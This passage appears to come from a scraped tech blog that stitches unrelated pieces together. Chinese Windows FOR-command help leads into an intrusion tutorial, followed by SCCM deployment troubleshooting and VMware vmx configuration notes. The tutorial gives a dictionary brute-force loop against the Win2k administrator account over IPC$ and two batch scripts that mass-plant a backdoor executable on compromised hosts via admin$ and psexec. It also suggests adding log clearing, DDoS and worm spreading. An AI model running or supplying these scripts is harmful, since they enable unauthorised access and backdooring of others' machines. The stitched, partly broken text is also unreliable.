%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 \'z\' 或
\'Z\' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。

最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:

~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串

可以组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语

用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。

以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2:

利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\\\ip\\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\\\ip\\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\\\ip\\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\\ok.txt ,这样就ko了。

sample3:

你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。

主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\\\%1\\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\\\%1\\admin$\\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\\\%1 c:\\winnt\\system32\\windrv32.exe
@psexec \\\\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

How to create a Capture only task sequence

When you create new task sequence, there is no choice to create "capture only" TS.
But you can achieve this by splitting Build & Capture OSD task sequence to two pieces

If you are using the default build and capture TS you could try the following:
1. Just create a new empty custom TS for example "Capture" and if you like rename your old B&C TS to "Build"
2. Open both task sequences side by side

3. Cut out the group folder "Capture the Reference Machine" from "Build" and paste it into "Capture"

4. Copy! the step "Restart in Windows PE" in your "Build" TS and paste it into the new "Captute" TS at the beginning

5. Make sure that both task sequences are advertised to the Collection holding your target machine
In theory you should now be able to run "Build" first and when it is finished you just need to make your adjustments.
After that you should be able to launch "Capture" either from the "Run Advertised Programs" or via PXE and selecting it at the beginning to finish the job.

批处理命令:时间和日期

批处理环境里可以使用%date%变量和%time%变量,不同的机器这个变量的格式也不同,
可以试试echo %date% %time%看格式
然后使用:~begin, len 的方式取的变量的字串类似函数substr($str, $begin, $len),例如
echo %date%
结果输出:2007-06-15 星期五
那么取从0开始的索引0,字串长度为10,既:
echo %date:~0,10%
结果输出:2007-06-15

echo %date:~0,4%%date:~5,2%%date:~8,2%
结果输出:
20070615

在批处理命令中使用变量、参数、赋值

如果在Windows2K以上的系统中,可以这样:
1.使用变量和赋值:
SET /A VAL=123 //赋值
ECHO %VAL% //使用变量(显示变量内容)

2.参数:
对于批处理文件,从命令行传给给文件的参数会依次赋给%1 %2 %3……%9
例如:
a.bat内容:
@ECHO OFF
ECHO %1
ECHO %2
执行:
C:\>a.bat hello world
显示:
hello
world

3.交互式输入:
使用SET /P,例如
a.bat内容:
@ECHO OFF
SET /P VAL=Please input a number:
ECHO %VAL%

以上均可以敲SET /?得到帮助。

VMX-CONFIG File explained

A very short vmx-file only needs 3 lines - I call them the identity-lines. This minimal vmx is enough to start a VM. It is the equivalent of starting a legacy-real-metal box with nothing more than the main-board with 32MB RAM and one CPU plugged in.



guestOS = "winxppro"
config.version = "8"
virtualHW.version = "4"

The version above can be used for VMplayer, Workstation 5.5 and VMserver.
For ESX 2.5 or WS 4.5 you need something like

guestOS = "winxppro"
config.version = "6"
virtualHW.version = "3"

It doesn't matter wether you use upper or lower cases - but always make sure to use " " for values.

If you forget one of this critical parameters or misconfigure it the VM will not start and give an error-message.



guestOS = "dos 397"

causes error-message

Guest operating system `dos 397' is not supported.
Please select a guest operating system from the General page on the Options tab of Virtual Machine Settings.



Autogenerated Identity-lines



Once you start such a minimal VM VMware generates another two lines to identify the virtual machine. Whenever you change the path to the vmx-file - either by renaming or moving to a different path VMware wants to update this lines.


uuid.location = "56 4d ee 3c 52 06 a3 de-be 4a 73 9c cc 99 15 1f"
uuid.bios = "56 4d ee 3c 52 06 a3 de-be 4a 73 9c cc 99 15 1f"


Memory



You can change the amount of RAM that a VM will use like this

memsize = "128"



If you don't assign a value for memory VMware will use the default-setting which is 32MB

memsize = "32"





Whenever you assign RAM manually make sure the value is a multiple of 4 - otherwise the VM will not start:

memsize = "255"

causes this error-message:

Memory size 255 not a multiple of 4
Displayname



You can assign a displayname for your virtual machine by adding

displayName = "VMX-Test"



If you don't assign a nicname VMware will autogenerate one- useing the path and name of the vmx-file

displayName = "X:\home\moon\Desktop\vmx.sammler\minimal.vmx"




PCI-slots



Lets populate the PCI-slots.

A VM has 6 PCI-slots.

The first slot is always used by the VMware-SVGA II.
You can fill the next 5 slots with these devices:


Buslogic-SCSI-controller

LSI-logic-SCSI-controller

AMD-ethernet
VMX-ethernet
e1000-ethernet
Soundcard


To add one of max. 4 Buslogic-SCSI-controllers add this lines:

scsi0.present = "TRUE"

scsi0.virtualDev = "buslogic" "vmxbuslogic" for ESX



To add one of max. 4 LSIlogic-SCSI-controllers add this lines:

scsi0.present = "TRUE"

scsi0.virtualDev = "lsilogic" "vmxlsilogic" for ESX



To add one of max. 4 AMD-ethernet-cards add this lines:

ethernet0.present = "TRUE"
ethernet0.virtualDev = "vlance"



To add one of max. 4 VMXnet-ethernet-cards add this lines:

ethernet0.present = "TRUE"
ethernet0.virtualDev = "vmxnet"





To add one of max. 4 e1000-ethernet-cards add this lines:

ethernet0.present = "TRUE"
ethernet0.virtualDev = "e1000"




To add a soundcard - either a Soundblaster or a ES1371 - add this lines:

sound.present = "TRUE"
sound.virtualDev= "sb16"

or

sound.present = "TRUE"
sound.virtualDev= "es1371"



What happens if I add more than 5 PCI-devices?
In case you order
scsi0.present = "TRUE"
scsi1.present = "TRUE"
scsi2.present = "TRUE"
scsi3.present = "TRUE"
ethernet0.present = "TRUE"
ethernet1.present = "TRUE"
ethernet2.present = "TRUE"
ethernet3.present = "TRUE"
sound.present = "TRUE"

you will get

scsi0.present = "TRUE"
scsi1.present = "TRUE"
scsi2.present = "TRUE"
scsi3.present = "TRUE"
ethernet0.present = "TRUE"

The free 5 PCI-slots are assigned following this priority-list:

1. Buslogic-SCSI-controller

2. LSI-logic-SCSI-controller

3. AMD-ethernet
4. VMX-ethernet
5. e1000-ethernet
6. Soundcard


In case you don't get the results you expect, please keep in mind that sometimes VMware uses silent-defaults.
If you order
ethernet0.present = "TRUE"
ethernet1.present = "TRUE"
ethernet2.present = "TRUE"
ethernet3.present = "TRUE"
sound.present = "TRUE"

you will get

scsi0.present = "TRUE"
ethernet0.present = "TRUE"
ethernet1.present = "TRUE"
ethernet2.present = "TRUE"
ethernet3.present = "TRUE"

The reason for this strange behaviour is simple: VMware assumes

scsi0.present = "TRUE"

for every VM. If you want no SCSI-controller you have to specify

scsi0.present = "FALSE"

Don't worry - the list with exceptions from the rule like is short.


IDE



A VMware-computer has the usual primary and secondary IDE-ports. To enable the primary port use this liine:

ide0.present = "TRUE"



To enable the secondary port use:

ide1.present = "TRUE


Actually IDE-ports are another example for silent defaults. This means you don't need to do anything if you want to use both ports.


Ports



To add one of max. 3 parallel ports add this line:

parallel0.present = "TRUE"



To add one of max. 4 serial ports add this line:

serial0.present = "TRUE"


To add 2 USB-ports (useing USB 1.1) add this line:

usb.present = "TRUE"






Syntax



You can use # for comments.
The sequence of line doesn't matter.
Parameters with *.present work like a main-switch.
If parameter scsi0.present is activated every parameter in the sub-category is used. So if you have

scsi0.present = "TRUE"

then lines like

scsi0.virtualDev = "lsilogic"

are used.
If you have

scsi0.present ="FALSE"

all lines starting with scsi0 are ignored.


ESX Server, by default, doesn?t allow NICs in guest operating systems to be in promiscuous mode.

The fix is this:

PromiscuousAllowed yes

Replace ?vmnic0? in this command with whatever virtual switch or NIC team the virtual machine in question is using.


What happens if you use unknown or mis-spelled lines? A line like
zoo.number_of_elefants = "387"

causes an error-message and VMware-player will not start - this doesn't mean that there are no VMversions that count the number of elefants. Maybe a future version will ignore this line or even use it. So don't count on it. Better go with the rule:

Unknown or mis-spelled lines are ignored or give error-messages.

2008-09-20

ERROR: PXE Cert not set. This might cause client failures.

ERROR: PXE Cert not set. This might cause client failures.
WARNING: _SMSTSSiteSigningCertificate Not Set. This might cause client failures in native mode.
WARNING: _SMSTSRootCACerts Not Set. This might cause client failures in native mode.
WARNING: _SMSTSCertStoreName Not Set. This might cause client failures in native mode.
WARNING: _SMSTSCertSelection Not Set. This might cause client failures in native mode.

The PXE Cert Not Set message in the SMSPXE.log may be corrected by either resetting the expiration date (the typical forum response) or by checking the CA certificate.

Try opening the Certificates | PXE node in SCCM. Find the certificate that is not "blocked" and right-click to Open it. Check the status of the CA Certificate. I found that it was "Not Trusted" in my environment. When I clicked the Install button and selected the Trusted Root CA Authorities, the certificate was then "valid" when I reopened the certificate. My SMSPXE.log no longer reflected that the certificate was not set.

2008-09-18

Using Task Sequence Variables to customize deployments - Ronni Pedersen @ myITforum.com

Using Task Sequence Variables to customize deployments - Ronni Pedersen @ myITforum.com: "Living in a non-english speaking country like Denmark, I often have to deal with deploying English versions of Windows XP and/or Windows Vista, with other Regional Settings, Keyboard Settings, Time Zones etc.

In the past I've created a VBScript to modify the sysprep.inf or the unattend.xml, after laying down the image on the client. The values were configured with Collection Variables or Computer Variables. The script collected the value during deployment, and replaced the value in the sysprep.inf or unattend.xml file before restarting into mini setup.

This year at TechEd in Orlando, I attened a great session on Windows Deployment with Configuration Manager (Part 1 of 4) with Michael Kelly. In this session he showed a demo, where he created a custom variable ('XRes' and 'YRes'), and typed the variable direct in sysprep.inf like this:

sysprep.inf:
[Display]
XResolution=%XRes%
YResolution=%YRes%

This was a simple example, but it gave me a lot of ideas to work with. And as a result of this, I no longer need my 'fancy' script to take care of my deployments anymore. This is how I do it now (example):"

Read more:
http://myitforum.com/cs2/blogs/rpedersen/archive/2008/07/01/using-task-sequence-variables-to-customize-deployments.aspx

Why can't I import a driver from a local drive path?

Boot Images, Operating System Images, Operating System Install Packages, and Drivers must be imported from a UNC path in ConfigMgr 07. Many people have asked why they can't reference a local drive path instead. Here is the explanation for drivers, courtesy of Michael Kelley. The explanation for the other types of packages is analogous.

Because ConfigMgr has to access the content of the drivers (parse through the .INF file, specifically), the drivers have to be accessible to the computer running the ConfigMgr provider. If we allowed local paths, it would have to be a local path on the ConfigMgr provider computer, which probably wouldn't make any sense, particularly if the provider is on the same computer as the ConfigMgr database. In the case of a site heirarchy, the driver content has to be accessible to the ConfigMgr provider on the child site so that it can copy the driver content to a child site Distribution Point when the driver is added to a Driver Package which was created on the child site.

This restriction of having to use a UNC path is something that applies to several of the new object types used by Operating System Deployment because of the need for the provider to read and parse the content. For example, the same is true for WIM files (Boot Images and Operating System Images) because the ConfigMgr provider has to parse the WIM header. For Operating Sytem Install Packages, the ConfigMgr provider needs to acces the content to determine properties such as the Operating System version and architecture.

Contributed by Michael Kelley

SCCM 2007 Troubleshooting Tips

The follow is a collection of tips that may be helpful when troubleshooting issues with ConfigMgr 07 Operating System Deployment.

Error Codes

There is no definitive list of error codes that can be returned in a task sequence, because most of the error codes originate from calls to other Windows API functions. The error lookup functionality provided by trace32.exe is a good place to start when trying to figure out what a specific error code means (in trace32.exe, go to Tools / Error Lookup...).

Enable the Debug Shell on your boot image

Boot images have an option to enable a command shell while running in Windows PE. This is turned off by default for security reasons (since it would allow an end user to open a command shell during the re-imaging process) but can be enabled on the “Windows PE” property page.

1.
Open the boot image’s properties dialog
2.
On the Windows PE tab check the “Enable command support (testing only)” option
3.
Update the boot image on the distribution points
4.
Rebuild any media that uses the boot image (e.g. capture media, boot media, or stand-alone media)

When a task sequence is running in Windows PE you can open a command shell by pressing F8. As long as the command-shell is open the task sequence will not reboot the machine. This will give you a chance to verify network connectivity, diagnose driver issues, and view/copy the log files (see Client Log Files section below).

Client Log Files

All actions in a task sequence log to the smsts.log file. This file is moved around during different stages of an operating system deployment so that it does not interfere with the imaging process.

  1. While in Windows PE the log file is stored in the windows temp directory on the RAM-disk (typically x:\windows\temp\smstslog)
  2. While in a full operating system that has a ConfigMgr client installed the log file is located in the smstslog subdirectory under the client logging path (typically %windir%\system32\ccm\logs\smstslog)
  3. While in the full operating system that does not have a ConfigMgr client installed the log file is located in the Windows temp directory (typically %windir%\temp\smstslog)

When the task sequence completes, the log file is “finalized” to one of the following locations depending on the state of the machine:

  1. If the task sequence finishes in Windows PE the log file is copied to an SMSTSLog directory on the largest available partition.
  2. If the task sequence finishes in the full operating system and a ConfigMgr client is installed then the log is copied to the client logging path (typically %windir%\system32\ccm\logs)
  3. If the task sequence finishes in the full operating system and there is no ConfigMgr client installed then the log is copied to the Windows temp directory.

Task Sequence Reports

When running, task sequences send status messages back to the server for each step in the task sequence. Included in these status messages are the last 1024 characters of stdout/stderr text from the action. Many times, this information can be used to remotely diagnose a task sequence issue (especially useful if an error has occurred in Windows PE and the debug shell was not enabled). The “History - Specific task sequence advertisements run on a specific computer” report provides a list of these status messages for a specific advertisement and computer and can be opened from the Reports node in the ConfigMgr console.

Contributed by Brett Flegg

Inside the Run Command Line action

Once you have the basic Operating System Deployment process working with ConfigMgr 2007, you will likely want to begin customizing your task sequences. The Run Command Line action provides a very flexible method to add custom steps. There are a few things you should be aware of when developing Run Command Line steps.

Shell Commands

You need to prepend 'cmd.exe /c' to internal shell commands (these are commands which are implemented by cmd.exe, such as dir and mkdir, instead of external executables, such as xcopy.exe). Here is a list of the internal shell commands listed on Microsoft TechNet (http://www.microsoft.com/technet/archive/winntas/deploy/prodspecs/shellscr.mspx?mfr=true):
ASSOC CALL CHDIR/CD CLS
COLOR COPY DATE DIR
DPATH ECHO ENDLOCAL ERASE/DEL
EXIT FOR FTYPE GOTO
IF MKDIR/MD MOVE PATH
PAUSE POPD PROMPT PUSHD
REM RENAME/REN RMDIR/RD SET
SETLOCAL SHIFT START TIME
TITLE TYPE VER

Batch Files

Batch files (.cmd and .bat) cannot run directly from a UNC path. This can be an issue if you advertise the task sequence with the 'Access content directly from the distribution point' option.

Missing Binaries

Window PE is a stripped-down version of the full operating system and does not have all of the same tools available as a full version of Windows. You should verify that the Windows PE contains the binaries you require for your Run Command Line step.

Drive Letters

The drive letters are not always what you might expect them to be when running in Windows PE. Whenever possible, use the variables set by ConfigMgr 2007, such as %OSDTargetDrive%, when you need to do things like access files on the local drive.

Contributed by Brett Flegg

Tips for Debugging Task Sequences


"Tips for Debugging Task Sequences"

The definition of the task sequence (e.g. the specific steps to run) is distributed to the client using System Center Configuration Manager’s policy mechanism. By default, clients are configured to download policy every 24 hours (this means that after you change the definition of a task sequence it could be up to 24 hours before it takes affect on the client). We use this polling mechanism because it enables Configuration Manger to support a large number of clients with a relatively small number of servers. However it can definitely make debugging task sequence a bit of a pain. Here are some tips:

Option 1: Refresh Policy on the client

1. Make your change to the task sequence
2. On your client open the “Configuration Manager” control panel applet and run the “Machine Policy Retrieval & Evaluation Cycle” action on the Actions tab.
3. Wait 2 minutes while the policy is downloaded and processed
4. Run the task sequence

To make it clear that the client has received the new policy I sometimes change the name of the task sequence in step 1 to make it clear that new policy has been received.

Option 2: Use Boot Media

Unlike the Configuration Manager client, boot media (which can also be run in the full OS when"
Unlike the Configuration Manager client, boot media (which can also be run in the full OS when a client is not installed) downloads policy every time it starts. So, depending on the type of task sequence I am testing I sometimes find it convenient to use boot media.

Hope this helps.

Contributed by Brett Flegg

Amazon.com: SMS 2003 Recipes: A Problem-Solution Approach: Greg Ramsey, Warren Byle: Books

Amazon.com: SMS 2003 Recipes: A Problem-Solution Approach: Greg Ramsey, Warren Byle: Books: "Editorial Reviews
Product Description

Systems Management Server (SMS) 2003 provides a comprehensive solution for managing the Microsoft platform, enabling organizations to proactively manage their environment. SMS 2003 provides key capabilities like

* Application Deployment
* Asset Management
* Security Patch Management
* Remote User Management
* Mobile Systems Management
* Integration of people, processes, and technology to help solve specific customer scenarios

SMS 2003 Recipes: A Problem-Solution Approach provides you with hundreds of quick-reference solutions. It addresses a wide range of problems that all levels of SMS administrators have encountered. Some are simple beginning implementation solutions, while others address high-end automation techniques. The recipes in this book were selected to help you take your SMS environment to a new level of success.


About the Author
Greg Ramsey, a Microsoft Most Valuable Professional (MVP) for SMS, has been working with SMS and desktop deployment since 1998. He currently works for Dell, Inc., in Austin, Texas, as an SMS administrator. He has extensive knowledge in VBScript, WMI, ADSI, SMS Installer, Wise Package Studio, and VB .NET. Prior to 1998, he was a sergeant in"

WIX resources

WIX homepage:
http://wix.sourceforge.net/

WIX user mailing list:
http://wix.sourceforge.net/mailinglists.html#wix-users

WIX WIKI:
http://www.wixwiki.com/

WIX tutorial:

Creating an installer using Wix v3.0, Votive and Visual Studio 2005/8
http://www.codeproject.com/KB/install/WixTutorial.aspx

Creating an installer using Wix v3.0, Votive and Visual Studio 2005/8 - part 2, the GUI
http://www.codeproject.com/KB/install/WixTutorial2.aspx

2008-09-17

Error: this task sequence cannot be run because the program files for 0010000a cannot be located on a distribution point.

When deply OS through CD, the client pc was able to boot from CD and start Winpe, but then got error message as below:
Found 0 DPs in subnet, 0 DPs in local site, and 0 DPs in remote location.
this task sequence cannot be run because the program files for 0010000a cannot be located on a distribution point.
In my case, 0010000a refers to the OS image "Microsoft windows xp service pack 2". I noticed it has not been applied to any distribution point.
After I updated it to new distribution point and retry, the problem still there.

After searched the web,found this post:
http://www.eggheadcafe.com/software/aspnet/31534866/system-center-configurati.aspx

The answer: you have to specify a Network Access Account.

It reminded me that my OS image file was saved on another machine . I then logged on to that computer and added the SCCM server's computer account to it's local administrator group.
Retry the winpe and problem gone.

2008-09-16

Failed to resolve selected task sequence dependencies. Code(0x80040102)

http://forums.microsoft.com/TechNet/ShowPost.aspx?PostID=2777615&SiteID=17
Error when boot Winpe: Failed to resolve selected task sequence dependencies. Code(0x80040102)
I can boot with the image, the DHCP is working and with the F8 option I can connect to the DP to copy the smsts.log.

But if I do not start the F8 console the Image will loading and after a while it just reboots.

Annalysing the smsts.log shows that the MP will properly detected but no DP is discovered:
Failed to resolve selected task sequence dependencies. Code(0x80040102)

Reason that may causes this problem:
A boot image asks the MP where the DPs are. But it doesn't ask about DPs in general -- it asks about DPs that have a particular package. So you may get a different answer about what DPs are present depending on what package is being asked about. If you have not replicated one of your packages to a DP, then you could get the above error where no DPs (i.e., no DPs containing that package) are found. In this case, the package in question is ZMH0001A.

This problem could also occur if the package has been updated and has a new version, but the DPs have not yet received the new version. You can use "Update Distribution Points" and then check the package status to make sure the new version has gotten out to the DPs. Then try your task sequence again.

In my case, a software package has been created from task sequence but it has not been add to any distribution point. To fix it:
go to Software distribution ->packages->right click "microsoft configuration manager client upgrade 4.0 all->add it to both distribution point.

To add VMware network driver to the boot images

To add VMware network driver to the boot images:
http://technet.microsoft.com/en-us/library/bb633285.aspx

1. Import VMware network driver to sccm first
Copy network driver to a network drive from the virtual machine that has vmware tool installed.
C:\program files\vmware tool\drivers
site database-> computer management->operating system deployment->drivers->right click and choose "import"->address the network driver folder where you havve just copied to.
2. Add imported driver to boot images.
site database-> computer management->operating system deployment->drivers->
right click on the driver->add or remove driver to boot image->tick both boot image x64 and x86, also tick "update distribution points when finished

clear last PXE advertisement
go to the collection->right click on the computer->choose "clear last pxe advertisement
then re-advertise the task sequence to the collection


To fix VMware network adapter missing problem:
add this line to the vmx file: ethernet0.VirtualDev = "e1000"
It will give the virtual machine a standard network card. But you may have problem when the machine run into winxp, it will ask you to provide driver.

2008-09-15

Don't configure WDS when using SCCM

Justin install WDS but don't configure it when using SCCM. And below is the reason why:

http://forums.microsoft.com/TechNet/ShowPost.aspx?PostID=2511987&SiteID=17

Question:
I am new to SCCM. I already have a working WDS environment. I would like to be able to use the PXE/DHCP services from my existing WDS setup for SCCM. I have read several posts on this forum that says when installing WDS to configure a PXE point in SCCM that WDS/PXE should not be configured just installed. Is there a way to have both coexisting on the same network?

Replies:

1.
Hi Bill,
The reason you shouldn't pre-configure WDS is because SCCM takes over the management of WDS and I've found that any changes you make to WDS cause SCCM's PXE Role to fail.

If you want to continue using your existing WDS environment, I believe you will need to set up a second WDS server to use as a PXE Service Point, you can then set a delay on that PXE Service Point so that it's not the first to respond.

I'm not sure how this would work though.
By kwacky1

2.
Of course, if the settings you want for WDS are the same you'd have with SCCM, they will work fine and you don't need to install separate WDS environments.

In my experience, having two PXE servers in the same subnet, serving the same computers with different images is a nightmare. Any kind of network hiccup causes the secondary PXE to be the primary and all of a sudden you've got weird things happening. The only way to combat this would be to assign only certain machines to each PXE server, but then that's a management headache...

My suggestion is to simply find the settings that you can live with for SCCM and WDS and merge the two. Of course, once you have SCCM run WDS, don't expect to have WDS handing out images and things not associated with SCCM.

By Robert Hearn [MSFT]


3.
Hello
Have you had a look at the following document? It outlines some of the setup configurations supported by Configuration Manager 2007.
http://technet.microsoft.com/en-us/library/bb680753.aspx
by Dan Bernhardt [MSFT]

2008-09-14

notes on OSD sccm 2007

How do i install pxe service role on my server?:- http://technet.microsoft.com/en-us/library/bb680668.aspx

how can i add drivers to boot images?

1) http://technet.microsoft.com/en-us/library/bb633285.aspx

2) http://technet.microsoft.com/en-us/library/bb680705.aspx

where can i find WIM image?

You need to create by setting up reference computer and then capture a image
1) http://technet.microsoft.com/en-us/library/bb680705.aspx

2) http://technet.microsoft.com/en-us/library/bb694129.aspx

OR

you can create image through MDT (Microsoft deployment tool)





2008-09-13

PXE deploy failed

Failed boot from PXE, getting messages below:

Downloaded WDSNBP...

Architecture: x64

The details given below show the information relating to the PXE boot request for
this computer. Please provide these details to your Windows Deployment Services
Administyrator so that this request can be approved.


Pending Request ID: 5

Contacting Server: 192.168.0.151.....................................................



http://forums.microsoft.com/TechNet/ShowPost.aspx?PostID=2223538&SiteID=17

http://blogcastrepository.com/forums/t/35584.aspx

http://forums.microsoft.com/TechNet/ShowPost.aspx?PostID=2482932&SiteID=17


2008-09-12

Troubleshoot SCCM 2007

When I tried to push the client insgtallation, i got the following errors in the CCM.log:
CWmi::Connect(): ConnectServer(Namespace) failed. - 0x800706ba SMS_CLIENT_CONFIG_MANAGER

Unable to connect to WMI on remote machine "Computer name", error = 0x800706ba. SMS_CLIENT_CONFIG_MANAGER

I found some good posts from the web:
https://forums.microsoft.com/TechNet/ShowPost.aspx?PostID=3432462&SiteID=17
http://forums.microsoft.com/TechNet/ShowPost.aspx?PostID=2653783&SiteID=17
Some people experienced similar problem and confirmed it was caused by WMI problem on the client machine. The above two post discussed how to troubleshoot WMI problem.

But none of them fixed my problem.

After couple of hours search and testing, the problem has been resolved. The reason was quite simple, SCCM was using domain administrator account to push the client but that account seemed not have enough permission to it. I added it to the local administrator group on the client machine and push again from server, it worked.